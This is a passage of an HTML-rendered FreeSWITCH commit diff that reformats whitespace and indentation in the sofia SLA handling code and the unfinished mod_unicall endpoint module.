</span><span class="cx">         }
</span><span class="cx"> 
</span><del>-        dst = sofia_glue_get_destination((char*) full_contact);
</del><ins>+        dst = sofia_glue_get_destination((char *) full_contact);
</ins><span class="cx"> 
</span><span class="cx">         if (dst-&gt;route_uri) {
</span><span class="cx">                 route_uri = sofia_glue_strip_uri(dst-&gt;route_uri);
</span><span class="lines">@@ -130,9 +130,7 @@
</span><span class="cx">                                   SIPTAG_FROM(sip-&gt;sip_to),
</span><span class="cx">                                   SIPTAG_CONTACT_STR(my_contact),
</span><span class="cx">                                   SIPTAG_EXPIRES_STR(exp_str),
</span><del>-                                  SIPTAG_EVENT_STR(&quot;dialog;sla;include-session-description&quot;),
-                                  SIPTAG_ACCEPT_STR(&quot;application/dialog-info+xml&quot;),
-                                  TAG_NULL());
</del><ins>+                                  SIPTAG_EVENT_STR(&quot;dialog;sla;include-session-description&quot;), SIPTAG_ACCEPT_STR(&quot;application/dialog-info+xml&quot;), TAG_NULL());
</ins><span class="cx"> 
</span><span class="cx">         sofia_glue_free_destination(dst);
</span><span class="cx"> 
</span><span class="lines">@@ -158,13 +156,13 @@
</span><span class="cx"> 
</span><span class="cx">         sofia_transport_t transport = sofia_glue_url2transport(sip-&gt;sip_contact-&gt;m_url);
</span><span class="cx"> 
</span><del>-        sofia_glue_get_addr(nua_current_request(nua), network_ip,  sizeof(network_ip), &amp;network_port);
</del><ins>+        sofia_glue_get_addr(nua_current_request(nua), network_ip, sizeof(network_ip), &amp;network_port);
</ins><span class="cx">         /*
</span><span class="cx">          * XXX MTK FIXME - we don't look at the tag to see if NUTAG_SUBSTATE(nua_substate_terminated) or
</span><span class="cx">          * a Subscription-State header with state &quot;terminated&quot; and/or expiration of 0. So we never forget
</span><span class="cx">          * about them here.
</span><span class="cx">          * likewise, we also don't have a hook against nua_r_notify events, so we can't see nua_substate_terminated there.
</span><del>-        */
</del><ins>+         */
</ins><span class="cx"> 
</span><span class="cx">         /*
</span><span class="cx">          * extracting AOR is weird...
</span><span class="lines">@@ -180,30 +178,29 @@
</span><span class="cx">          * ok, and now that we HAVE the AOR, we REALLY should go check in the XML config and see if this particular
</span><span class="cx">          * extension is set up to have shared appearances managed. right now it is all-or-nothing on the profile,
</span><span class="cx">          * which won't be sufficient for real life. FIXME XXX MTK
</span><del>-        */
</del><ins>+         */
</ins><span class="cx"> 
</span><span class="cx">         /* then the subscriber is the user at their network location... this is arguably the wrong way, but works so far... */
</span><span class="cx"> 
</span><span class="cx">         subscriber = switch_mprintf(&quot;sip:%s@%s;transport=%s&quot;, sip-&gt;sip_from-&gt;a_url-&gt;url_user,
</span><span class="cx">                                                                 sip-&gt;sip_contact-&gt;m_url-&gt;url_host, sofia_glue_transport2str(transport));
</span><del>- 
</del><ins>+
</ins><span class="cx">         if ((sql =
</span><del>-                switch_mprintf(&quot;delete from sip_shared_appearance_subscriptions where subscriber='%q' and profile_name='%q' and hostname='%q'&quot;,
-                        subscriber, profile-&gt;name, mod_sofia_globals.hostname
-                        ))) {
</del><ins>+                 switch_mprintf(&quot;delete from sip_shared_appearance_subscriptions where subscriber='%q' and profile_name='%q' and hostname='%q'&quot;,
+                                                subscriber, profile-&gt;name, mod_sofia_globals.hostname))) {
</ins><span class="cx">                 sofia_glue_execute_sql(profile, &amp;sql, SWITCH_TRUE);
</span><span class="cx">         }
</span><span class="cx"> 
</span><span class="cx">         if ((sql =
</span><span class="cx">                  switch_mprintf(&quot;insert into sip_shared_appearance_subscriptions (subscriber, call_id, aor, profile_name, hostname, contact_str, network_ip) &quot;
</span><del>-                               &quot;values ('%q','%q','%q','%q','%q','%q','%q')&quot;,
-                                subscriber, sip-&gt;sip_call_id-&gt;i_id, aor, profile-&gt;name, mod_sofia_globals.hostname, contact_str, network_ip))) {
</del><ins>+                                                &quot;values ('%q','%q','%q','%q','%q','%q','%q')&quot;,
+                                                subscriber, sip-&gt;sip_call_id-&gt;i_id, aor, profile-&gt;name, mod_sofia_globals.hostname, contact_str, network_ip))) {
</ins><span class="cx">                 sofia_glue_execute_sql(profile, &amp;sql, SWITCH_TRUE);
</span><span class="cx">         }
</span><span class="cx"> 
</span><span class="cx">         if (strstr(contact_str, &quot;;fs_nat&quot;)) {
</span><span class="cx">                 char *p;
</span><del>-                route_uri = sofia_glue_get_url_from_contact((char *)contact_str, 1);
</del><ins>+                route_uri = sofia_glue_get_url_from_contact((char *) contact_str, 1);
</ins><span class="cx">                 if ((p = strstr(contact_str, &quot;;fs_&quot;))) {
</span><span class="cx">                         *p = '\0';
</span><span class="cx">                 }
</span><span class="lines">@@ -222,21 +219,17 @@
</span><span class="cx"> 
</span><span class="cx">         switch_snprintf(port_str, sizeof(port_str), &quot;:%ld&quot;, sofia_glue_transport_has_tls(transport) ? profile-&gt;tls_sip_port : profile-&gt;sip_port);
</span><span class="cx"> 
</span><del>-        if (sofia_glue_check_nat(profile, network_ip)) { 
-                sla_contact = switch_mprintf(&quot;&lt;sip:%s@%s%s;transport=%s&gt;&quot;, profile-&gt;sla_contact, profile-&gt;extsipip,
-                                                                         port_str, sofia_glue_transport2str(transport));
</del><ins>+        if (sofia_glue_check_nat(profile, network_ip)) {
+                sla_contact = switch_mprintf(&quot;&lt;sip:%s@%s%s;transport=%s&gt;&quot;, profile-&gt;sla_contact, profile-&gt;extsipip, port_str, sofia_glue_transport2str(transport));
</ins><span class="cx">         } else {
</span><del>-                sla_contact = switch_mprintf(&quot;&lt;sip:%s@%s%s;transport=%s&gt;&quot;, profile-&gt;sla_contact, profile-&gt;sipip,
-                                                                         port_str, sofia_glue_transport2str(transport));
</del><ins>+                sla_contact = switch_mprintf(&quot;&lt;sip:%s@%s%s;transport=%s&gt;&quot;, profile-&gt;sla_contact, profile-&gt;sipip, port_str, sofia_glue_transport2str(transport));
</ins><span class="cx">         }
</span><span class="cx"> 
</span><del>-        nua_respond(nh, SIP_202_ACCEPTED, SIPTAG_CONTACT_STR(sla_contact), NUTAG_WITH_THIS(nua),
-                                TAG_IF(route_uri, NUTAG_PROXY(route_uri)),
-                                SIPTAG_SUBSCRIPTION_STATE_STR(&quot;active;expires=300&quot;), /* you thought the OTHER time was fake... need delta here FIXME XXX MTK */
-                                SIPTAG_EXPIRES_STR(&quot;300&quot;), /* likewise, totally fake - FIXME XXX MTK */
</del><ins>+        nua_respond(nh, SIP_202_ACCEPTED, SIPTAG_CONTACT_STR(sla_contact), NUTAG_WITH_THIS(nua), TAG_IF(route_uri, NUTAG_PROXY(route_uri)), SIPTAG_SUBSCRIPTION_STATE_STR(&quot;active;expires=300&quot;),        /* you thought the OTHER time was fake... need delta here FIXME XXX MTK */
+                                SIPTAG_EXPIRES_STR(&quot;300&quot;),        /* likewise, totally fake - FIXME XXX MTK */
</ins><span class="cx">                                 /*  sofia_presence says something about needing TAG_IF(sticky, NUTAG_PROXY(sticky)) for NAT stuff? */
</span><span class="cx">                                 TAG_END());
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_safe_free(aor);
</span><span class="cx">         switch_safe_free(subscriber);
</span><span class="cx">         switch_safe_free(route_uri);
</span><span class="lines">@@ -251,7 +244,8 @@
</span><span class="cx"> 
</span><span class="cx"> void sofia_sla_handle_sip_r_subscribe(int status,
</span><span class="cx">                                                                           char const *phrase,
</span><del>-                                                                          nua_t *nua, sofia_profile_t *profile, nua_handle_t *nh, sofia_private_t *sofia_private, sip_t const *sip, tagi_t tags[])
</del><ins>+                                                                          nua_t *nua, sofia_profile_t *profile, nua_handle_t *nh, sofia_private_t *sofia_private, sip_t const *sip,
+                                                                          tagi_t tags[])
</ins><span class="cx"> {
</span><span class="cx">         if (status &gt;= 300) {
</span><span class="cx">                 nua_handle_destroy(nh);
</span><span class="lines">@@ -267,8 +261,8 @@
</span><span class="cx">                 }
</span><span class="cx"> 
</span><span class="cx">                 if ((sql = switch_mprintf(&quot;insert into sip_shared_appearance_dialogs (profile_name, hostname, contact_str, call_id, expires) &quot;
</span><del>-                                                                  &quot;values ('%q','%q','%q','%q','%ld')&quot;, 
-                                                                  profile-&gt;name, mod_sofia_globals.hostname, contact_str, sip-&gt;sip_call_id-&gt;i_id, (long)expires))) {
</del><ins>+                                                                  &quot;values ('%q','%q','%q','%q','%ld')&quot;,
+                                                                  profile-&gt;name, mod_sofia_globals.hostname, contact_str, sip-&gt;sip_call_id-&gt;i_id, (long) expires))) {
</ins><span class="cx">                         sofia_glue_execute_sql(profile, &amp;sql, SWITCH_TRUE);
</span><span class="cx">                 }
</span><span class="cx"> 
</span><span class="lines">@@ -298,20 +292,20 @@
</span><span class="cx">          *     yet check each AOR as it comes in to see if it is to be managed, is more subscribers than we probably
</span><span class="cx">          *     should have). for the current prototype stage, this works ok anyway.
</span><span class="cx">          *   and because we don't parse the XML, we even reflect it right back to the notifier/sender (which is called
</span><del>-     *     &quot;target&quot; in the payload XML, of course).
</del><ins>+         *     &quot;target&quot; in the payload XML, of course).
</ins><span class="cx">          *   also because we don't track on a per-appearance basis, there IS NOT a hook back from sofia_glue to add
</span><span class="cx">          *     an appearance index to the outbound invite for the &quot;next free appearance&quot;. this can lead to race 
</span><span class="cx">          *     conditions where a call shows up on slightly different line key numbers at different phones, making
</span><span class="cx">          *     &quot;pick up on line X&quot; meaningless if such a race occurs. again, it is a prototype. we can fix it later.
</span><del>-        */
</del><ins>+         */
</ins><span class="cx"> 
</span><span class="cx"> 
</span><span class="cx">         /* the dispatcher calls us just because it is aimed at us, so check to see if it is dialog;sla at the very least... */
</span><span class="cx"> 
</span><del>-        if (  (!sip-&gt;sip_event) 
-           || (strcasecmp(sip-&gt;sip_event-&gt;o_type, &quot;dialog&quot;))
-           || !msg_params_find(sip-&gt;sip_event-&gt;o_params, &quot;sla&quot;) ) {
-                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING,&quot;sent to sla-agent but not dialog;sla\n&quot;);
</del><ins>+        if ((!sip-&gt;sip_event)
+                || (strcasecmp(sip-&gt;sip_event-&gt;o_type, &quot;dialog&quot;))
+                || !msg_params_find(sip-&gt;sip_event-&gt;o_params, &quot;sla&quot;)) {
+                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, &quot;sent to sla-agent but not dialog;sla\n&quot;);
</ins><span class="cx">                 return;
</span><span class="cx">         }
</span><span class="cx"> 
</span><span class="lines">@@ -326,16 +320,15 @@
</span><span class="cx">          * so we don't reflect it back at anyone who is the &quot;boss&quot; config, but we do reflect it back at the &quot;secretary&quot;
</span><span class="cx">          * config. if that breaks the phone, just set them all up as the &quot;boss&quot; config where ext#==third-party#
</span><span class="cx">          */
</span><del>-        contact = switch_mprintf(&quot;sip:%s@%s;transport=%s&quot;,sip-&gt;sip_contact-&gt;m_url-&gt;url_user,
</del><ins>+        contact = switch_mprintf(&quot;sip:%s@%s;transport=%s&quot;, sip-&gt;sip_contact-&gt;m_url-&gt;url_user,
</ins><span class="cx">                                                          sip-&gt;sip_contact-&gt;m_url-&gt;url_host, sofia_glue_transport2str(transport));
</span><span class="cx"> 
</span><span class="cx">         if (sip-&gt;sip_payload &amp;&amp; sip-&gt;sip_payload-&gt;pl_data) {
</span><span class="cx">                 sql = switch_mprintf(&quot;select subscriber,call_id,aor,profile_name,hostname,contact_str,network_ip from sip_shared_appearance_subscriptions where &quot;
</span><del>-                &quot;aor='%q' and profile_name='%q' and hostname='%q'&quot;,
-                aor, profile-&gt;name, mod_sofia_globals.hostname); 
</del><ins>+                                                         &quot;aor='%q' and profile_name='%q' and hostname='%q'&quot;, aor, profile-&gt;name, mod_sofia_globals.hostname);
</ins><span class="cx"> 
</span><span class="cx">                 helper.profile = profile;
</span><del>-                helper.payload = sip-&gt;sip_payload-&gt;pl_data;         /* could just send the WHOLE payload. you'd get the type that way. */
</del><ins>+                helper.payload = sip-&gt;sip_payload-&gt;pl_data;        /* could just send the WHOLE payload. you'd get the type that way. */
</ins><span class="cx"> 
</span><span class="cx">                 /* which mutex if any is correct to hold in this callback? XXX MTK FIXME */
</span><span class="cx">                 sofia_glue_execute_sql_callback(profile, profile-&gt;ireg_mutex, sql, sofia_sla_sub_callback, &amp;helper);
</span><span class="lines">@@ -360,7 +353,7 @@
</span><span class="cx">         char *route_uri = NULL;
</span><span class="cx">         char *xml_fixup = NULL;
</span><span class="cx">         char *fixup = NULL;
</span><del>-        nh = nua_handle_by_call_id(helper-&gt;profile-&gt;nua, call_id);  /* that's all you need to find the subscription's nh */
</del><ins>+        nh = nua_handle_by_call_id(helper-&gt;profile-&gt;nua, call_id);        /* that's all you need to find the subscription's nh */
</ins><span class="cx"> 
</span><span class="cx">         if (nh) {
</span><span class="cx"> 
</span><span class="lines">@@ -384,24 +377,21 @@
</span><span class="cx">                 }
</span><span class="cx"> 
</span><span class="cx">                 if (helper-&gt;profile-&gt;extsipip) {
</span><del>-                        if (sofia_glue_check_nat(helper-&gt;profile, network_ip)) { 
</del><ins>+                        if (sofia_glue_check_nat(helper-&gt;profile, network_ip)) {
</ins><span class="cx">                                 fixup = switch_string_replace(helper-&gt;payload, helper-&gt;profile-&gt;sipip, helper-&gt;profile-&gt;extsipip);
</span><del>-                        } else  {
</del><ins>+                        } else {
</ins><span class="cx">                                 fixup = switch_string_replace(helper-&gt;payload, helper-&gt;profile-&gt;extsipip, helper-&gt;profile-&gt;sipip);
</span><span class="cx">                         }
</span><span class="cx">                         xml_fixup = fixup;
</span><span class="cx">                 } else {
</span><span class="cx">                         xml_fixup = helper-&gt;payload;
</span><span class="cx">                 }
</span><del>-                
-                nua_notify(nh,
-                                   SIPTAG_SUBSCRIPTION_STATE_STR(&quot;active;expires=300&quot;), /* XXX MTK FIXME - this is totally fake calculation */
-                                   TAG_IF(route_uri, NUTAG_PROXY(route_uri)),
-                                   SIPTAG_CONTENT_TYPE_STR(&quot;application/dialog-info+xml&quot;),        /* could've just kept the type from the payload */
-                                   SIPTAG_PAYLOAD_STR(xml_fixup),
-                                   TAG_END());
</del><ins>+
+                nua_notify(nh, SIPTAG_SUBSCRIPTION_STATE_STR(&quot;active;expires=300&quot;),        /* XXX MTK FIXME - this is totally fake calculation */
+                                   TAG_IF(route_uri, NUTAG_PROXY(route_uri)), SIPTAG_CONTENT_TYPE_STR(&quot;application/dialog-info+xml&quot;),        /* could've just kept the type from the payload */
+                                   SIPTAG_PAYLOAD_STR(xml_fixup), TAG_END());
</ins><span class="cx">                 switch_safe_free(route_uri);
</span><del>-                if (fixup &amp;&amp; fixup != helper-&gt;payload) { 
</del><ins>+                if (fixup &amp;&amp; fixup != helper-&gt;payload) {
</ins><span class="cx">                         free(fixup);
</span><span class="cx">                 }
</span><span class="cx">         }
</span></span></pre></div>
<a id="freeswitchtrunksrcmodendpointsmod_unicallmod_unicallc"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/mod/endpoints/mod_unicall/mod_unicall.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/mod/endpoints/mod_unicall/mod_unicall.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/endpoints/mod_unicall/mod_unicall.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -30,7 +30,7 @@
</span><span class="cx">  * mod_unicall.c -- UniCall endpoint module
</span><span class="cx">  *
</span><span class="cx">  */
</span><del>- 
</del><ins>+
</ins><span class="cx"> /* This is a work in progress. Unfinished. Non-functional */
</span><span class="cx"> 
</span><span class="cx"> #include &lt;switch.h&gt;
</span><span class="lines">@@ -39,7 +39,7 @@
</span><span class="cx"> SWITCH_MODULE_LOAD_FUNCTION(mod_unicall_load);
</span><span class="cx"> SWITCH_MODULE_SHUTDOWN_FUNCTION(mod_unicall_shutdown);
</span><span class="cx"> //SWITCH_MODULE_RUNTIME_FUNCTION(mod_unicall_runtime);
</span><del>-SWITCH_MODULE_DEFINITION(mod_unicall, mod_unicall_load, mod_unicall_shutdown, NULL);    //mod_unicall_runtime);
</del><ins>+SWITCH_MODULE_DEFINITION(mod_unicall, mod_unicall_load, mod_unicall_shutdown, NULL);        //mod_unicall_runtime);
</ins><span class="cx"> 
</span><span class="cx"> #define MAX_SPANS 128
</span><span class="cx"> 
</span><span class="lines">@@ -47,77 +47,74 @@
</span><span class="cx"> static switch_memory_pool_t *module_pool = NULL;
</span><span class="cx"> static volatile int running = 1;
</span><span class="cx"> 
</span><del>-typedef struct
-{
-    int span;
-    const char *id;
-    const char *protocol_class;
-    const char *protocol_variant;
-    int protocol_end;
-    int outgoing_ok;
</del><ins>+typedef struct {
+        int span;
+        const char *id;
+        const char *protocol_class;
+        const char *protocol_variant;
+        int protocol_end;
+        int outgoing_ok;
</ins><span class="cx">         char *dialplan;
</span><span class="cx">         char *context;
</span><del>-    int fd;
-    uc_t *uc;
</del><ins>+        int fd;
+        uc_t *uc;
</ins><span class="cx"> } span_data_t;
</span><span class="cx"> 
</span><span class="cx"> span_data_t *span_data[MAX_SPANS];
</span><span class="cx"> 
</span><span class="cx"> typedef enum {
</span><del>-    TFLAG_IO = (1 &lt;&lt; 0),
-    TFLAG_INBOUND = (1 &lt;&lt; 1),
-    TFLAG_OUTBOUND = (1 &lt;&lt; 2),
-    TFLAG_DTMF = (1 &lt;&lt; 3),
-    TFLAG_VOICE = (1 &lt;&lt; 4),
-    TFLAG_HANGUP = (1 &lt;&lt; 5),
-    TFLAG_LINEAR = (1 &lt;&lt; 6),
-    TFLAG_CODEC = (1 &lt;&lt; 7),
-    TFLAG_BREAK = (1 &lt;&lt; 8)
</del><ins>+        TFLAG_IO = (1 &lt;&lt; 0),
+        TFLAG_INBOUND = (1 &lt;&lt; 1),
+        TFLAG_OUTBOUND = (1 &lt;&lt; 2),
+        TFLAG_DTMF = (1 &lt;&lt; 3),
+        TFLAG_VOICE = (1 &lt;&lt; 4),
+        TFLAG_HANGUP = (1 &lt;&lt; 5),
+        TFLAG_LINEAR = (1 &lt;&lt; 6),
+        TFLAG_CODEC = (1 &lt;&lt; 7),
+        TFLAG_BREAK = (1 &lt;&lt; 8)
</ins><span class="cx"> } TFLAGS;
</span><span class="cx"> 
</span><span class="cx"> typedef enum {
</span><del>-    GFLAG_MY_CODEC_PREFS = (1 &lt;&lt; 0)
</del><ins>+        GFLAG_MY_CODEC_PREFS = (1 &lt;&lt; 0)
</ins><span class="cx"> } GFLAGS;
</span><span class="cx"> 
</span><span class="cx"> 
</span><del>-static struct
-{
-    int debug;
-    /*! Requested frame duration, in ms */
-    uint32_t frame_duration;
-    int dtmf_on;
-    int dtmf_off;
-    int suppress_dtmf_tone;
-    int ignore_dtmf_tone;
-    char *dialplan;
-    char *codec_string;
-    char *codec_order[SWITCH_MAX_CODECS];
-    int codec_order_last;
-    char *codec_rates_string;
-    char *codec_rates[SWITCH_MAX_CODECS];
-    int codec_rates_last;
-    unsigned int flags;
-    int calls;
-    int configured_spans;
</del><ins>+static struct {
+        int debug;
+        /*! Requested frame duration, in ms */
+        uint32_t frame_duration;
+        int dtmf_on;
+        int dtmf_off;
+        int suppress_dtmf_tone;
+        int ignore_dtmf_tone;
+        char *dialplan;
+        char *codec_string;
+        char *codec_order[SWITCH_MAX_CODECS];
+        int codec_order_last;
+        char *codec_rates_string;
+        char *codec_rates[SWITCH_MAX_CODECS];
+        int codec_rates_last;
+        unsigned int flags;
+        int calls;
+        int configured_spans;
</ins><span class="cx">         switch_hash_t *call_hash;
</span><del>-    switch_mutex_t *mutex;
-    switch_mutex_t *hash_mutex;
-    switch_mutex_t *channel_mutex;
</del><ins>+        switch_mutex_t *mutex;
+        switch_mutex_t *hash_mutex;
+        switch_mutex_t *channel_mutex;
</ins><span class="cx"> } globals;
</span><span class="cx"> 
</span><del>-typedef struct
-{
-    unsigned int flags;
-    switch_codec_t read_codec;
-    switch_codec_t write_codec;
-    switch_frame_t read_frame;
-    uint8_t databuf[SWITCH_RECOMMENDED_BUFFER_SIZE];
-    switch_core_session_t *session;
-    switch_caller_profile_t *caller_profile;
-    switch_mutex_t *mutex;
-    switch_mutex_t *flag_mutex;
-    //switch_thread_cond_t *cond;
-    uc_t *uc;
</del><ins>+typedef struct {
+        unsigned int flags;
+        switch_codec_t read_codec;
+        switch_codec_t write_codec;
+        switch_frame_t read_frame;
+        uint8_t databuf[SWITCH_RECOMMENDED_BUFFER_SIZE];
+        switch_core_session_t *session;
+        switch_caller_profile_t *caller_profile;
+        switch_mutex_t *mutex;
+        switch_mutex_t *flag_mutex;
+        //switch_thread_cond_t *cond;
+        uc_t *uc;
</ins><span class="cx"> } private_t;
</span><span class="cx"> 
</span><span class="cx"> 
</span><span class="lines">@@ -133,11 +130,10 @@
</span><span class="cx"> static switch_status_t unicall_on_soft_execute(switch_core_session_t *session);
</span><span class="cx"> 
</span><span class="cx"> static switch_call_cause_t unicall_outgoing_channel(switch_core_session_t *session,
</span><del>-                                                    switch_event_t *var_event,
-                                                    switch_caller_profile_t *outbound_profile,
-                                                    switch_core_session_t **new_session,
-                                                    switch_memory_pool_t **pool,
-                                                    switch_originate_flag_t flags, switch_call_cause_t *cancel_cause);
</del><ins>+                                                                                                        switch_event_t *var_event,
+                                                                                                        switch_caller_profile_t *outbound_profile,
+                                                                                                        switch_core_session_t **new_session,
+                                                                                                        switch_memory_pool_t **pool, switch_originate_flag_t flags, switch_call_cause_t *cancel_cause);
</ins><span class="cx"> static switch_status_t unicall_read_frame(switch_core_session_t *session, switch_frame_t **frame, switch_io_flag_t flags, int stream_id);
</span><span class="cx"> static switch_status_t unicall_write_frame(switch_core_session_t *session, switch_frame_t *frame, switch_io_flag_t flags, int stream_id);
</span><span class="cx"> static switch_status_t unicall_kill_channel(switch_core_session_t *session, int sig);
</span><span class="lines">@@ -147,723 +143,692 @@
</span><span class="cx"> 
</span><span class="cx"> static void unicall_message(int level, const char *s)
</span><span class="cx"> {
</span><del>-    int switch_level;
-    
-    switch (level)
-    {
-    case UC_LOG_NONE:
-        switch_level = SWITCH_LOG_CRIT;
-        break;
-    case UC_LOG_ERROR:
-        switch_level = SWITCH_LOG_ERROR;
-        break;
-    case UC_LOG_WARNING:
-        switch_level = SWITCH_LOG_WARNING;
-        break;
-    case UC_LOG_PROTOCOL_ERROR:
-        switch_level = SWITCH_LOG_ERROR;
-        break;
-    case UC_LOG_PROTOCOL_WARNING:
-        switch_level = SWITCH_LOG_WARNING;
-        break;
-    case UC_LOG_INFO:
-        switch_level = SWITCH_LOG_NOTICE;
-        //switch_level = SWITCH_LOG_NOTICE;
-        break;
-    case UC_LOG_FLOW:
-    case UC_LOG_FLOW_2:
-    case UC_LOG_FLOW_3:
-    case UC_LOG_CAS:
-    case UC_LOG_TONE:
-    case UC_LOG_DEBUG_1:
-    case UC_LOG_DEBUG_2:
-    case UC_LOG_DEBUG_3:
-        switch_level = SWITCH_LOG_DEBUG;
-        break;
-    default:
-        switch_level = SWITCH_LOG_CRIT;
-        break;
-    }
-    switch_log_printf(SWITCH_CHANNEL_LOG, switch_level, s);
</del><ins>+        int switch_level;
+
+        switch (level) {
+        case UC_LOG_NONE:
+                switch_level = SWITCH_LOG_CRIT;
+                break;
+        case UC_LOG_ERROR:
+                switch_level = SWITCH_LOG_ERROR;
+                break;
+        case UC_LOG_WARNING:
+                switch_level = SWITCH_LOG_WARNING;
+                break;
+        case UC_LOG_PROTOCOL_ERROR:
+                switch_level = SWITCH_LOG_ERROR;
+                break;
+        case UC_LOG_PROTOCOL_WARNING:
+                switch_level = SWITCH_LOG_WARNING;
+                break;
+        case UC_LOG_INFO:
+                switch_level = SWITCH_LOG_NOTICE;
+                //switch_level = SWITCH_LOG_NOTICE;
+                break;
+        case UC_LOG_FLOW:
+        case UC_LOG_FLOW_2:
+        case UC_LOG_FLOW_3:
+        case UC_LOG_CAS:
+        case UC_LOG_TONE:
+        case UC_LOG_DEBUG_1:
+        case UC_LOG_DEBUG_2:
+        case UC_LOG_DEBUG_3:
+                switch_level = SWITCH_LOG_DEBUG;
+                break;
+        default:
+                switch_level = SWITCH_LOG_CRIT;
+                break;
+        }
+        switch_log_printf(SWITCH_CHANNEL_LOG, switch_level, s);
</ins><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> static void unicall_report(const char *s)
</span><span class="cx"> {
</span><del>-    switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CRIT, s);
</del><ins>+        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CRIT, s);
</ins><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> #if 0
</span><span class="cx"> static switch_call_cause_t unicall_incoming_channel(zap_sigmsg_t *sigmsg, switch_core_session_t **sp)
</span><span class="cx"> {
</span><del>-    switch_core_session_t *session = NULL;
-    private_t *tech_pvt = NULL;
-    switch_channel_t *channel = NULL;
-    char name[128];
-    
-    *sp = NULL;
-    
-    if (!(session = switch_core_session_request(openzap_endpoint_interface, SWITCH_CALL_DIRECTION_INBOUND, NULL)))
-    {
-        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, &quot;Initialization Error!\n&quot;);
-        return ZAP_FAIL;
-    }
-    
-    switch_core_session_add_stream(session, NULL);
-    
-    tech_pvt = (private_t *) switch_core_session_alloc(session, sizeof(private_t));
-    assert(tech_pvt != NULL);
-    channel = switch_core_session_get_channel(session);
-    if (tech_init(tech_pvt, session, sigmsg-&gt;channel) != SWITCH_STATUS_SUCCESS)
-    {
-        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, &quot;Initialization Error!\n&quot;);
-        switch_core_session_destroy(&amp;session);
-        return ZAP_FAIL;
-    }
-    
-    *sigmsg-&gt;channel-&gt;caller_data.collected = '\0';
-    
-    if (sigmsg-&gt;channel-&gt;caller_data.cid_name[0] == '\0')
-        switch_set_string(sigmsg-&gt;channel-&gt;caller_data.cid_name, sigmsg-&gt;channel-&gt;chan_name);
</del><ins>+        switch_core_session_t *session = NULL;
+        private_t *tech_pvt = NULL;
+        switch_channel_t *channel = NULL;
+        char name[128];
</ins><span class="cx"> 
</span><del>-    if (sigmsg-&gt;channel-&gt;caller_data.cid_num.digits[0] == '\0')
-    {
-        if (sigmsg-&gt;channel-&gt;caller_data.ani.digits[0] != '\0')
-            switch_set_string(sigmsg-&gt;channel-&gt;caller_data.cid_num.digits, sigmsg-&gt;channel-&gt;caller_data.ani.digits);
-        else
-            switch_set_string(sigmsg-&gt;channel-&gt;caller_data.cid_num.digits, sigmsg-&gt;channel-&gt;chan_number);
-    }
</del><ins>+        *sp = NULL;
</ins><span class="cx"> 
</span><del>-    tech_pvt-&gt;caller_profile = switch_caller_profile_new(switch_core_session_get_pool(session),
-                                                         &quot;UniCall&quot;,
-                                                         SPAN_CONFIG[sigmsg-&gt;channel-&gt;span_id].dialplan,
-                                                         sigmsg-&gt;channel-&gt;caller_data.cid_name,
-                                                         sigmsg-&gt;channel-&gt;caller_data.cid_num.digits,
-                                                         NULL,
-                                                         sigmsg-&gt;channel-&gt;caller_data.ani.digits,
-                                                         sigmsg-&gt;channel-&gt;caller_data.aniII,
-                                                         sigmsg-&gt;channel-&gt;caller_data.rdnis.digits,
-                                                         (char *) modname,
-                                                         SPAN_CONFIG[sigmsg-&gt;channel-&gt;span_id].context,
-                                                         sigmsg-&gt;channel-&gt;caller_data.dnis.digits);
-    assert(tech_pvt-&gt;caller_profile != NULL);
</del><ins>+        if (!(session = switch_core_session_request(openzap_endpoint_interface, SWITCH_CALL_DIRECTION_INBOUND, NULL))) {
+                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, &quot;Initialization Error!\n&quot;);
+                return ZAP_FAIL;
+        }
</ins><span class="cx"> 
</span><del>-    if (sigmsg-&gt;channel-&gt;caller_data.screen == 1  ||  sigmsg-&gt;channel-&gt;caller_data.screen == 3)
-        switch_set_flag(tech_pvt-&gt;caller_profile, SWITCH_CPF_SCREEN);
</del><ins>+        switch_core_session_add_stream(session, NULL);
</ins><span class="cx"> 
</span><del>-    if (sigmsg-&gt;channel-&gt;caller_data.pres)
-        switch_set_flag(tech_pvt-&gt;caller_profile, SWITCH_CPF_HIDE_NAME | SWITCH_CPF_HIDE_NUMBER);
-    
-    snprintf(name, sizeof(name), &quot;UNICALL/%u:%u/%s&quot;, sigmsg-&gt;channel-&gt;span_id, sigmsg-&gt;channel-&gt;chan_id, tech_pvt-&gt;caller_profile-&gt;destination_number);
-    switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, &quot;Connect inbound channel %s\n&quot;, name);
-    switch_channel_set_name(channel, name);
-    switch_channel_set_caller_profile(channel, tech_pvt-&gt;caller_profile);
-        
-    switch_channel_set_state(channel, CS_INIT);
-    if (switch_core_session_thread_launch(session) != SWITCH_STATUS_SUCCESS)
-    {
-        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, &quot;Error spawning thread\n&quot;);
-        switch_core_session_destroy(&amp;session);
-        return ZAP_FAIL;
-    }
</del><ins>+        tech_pvt = (private_t *) switch_core_session_alloc(session, sizeof(private_t));
+        assert(tech_pvt != NULL);
+        channel = switch_core_session_get_channel(session);
+        if (tech_init(tech_pvt, session, sigmsg-&gt;channel) != SWITCH_STATUS_SUCCESS) {
+                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, &quot;Initialization Error!\n&quot;);
+                switch_core_session_destroy(&amp;session);
+                return ZAP_FAIL;
+        }
</ins><span class="cx"> 
</span><del>-    if (zap_channel_add_token(sigmsg-&gt;channel, switch_core_session_get_uuid(session), 0) != ZAP_SUCCESS)
-    {
-        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, &quot;Error adding token\n&quot;);
-        switch_core_session_destroy(&amp;session);
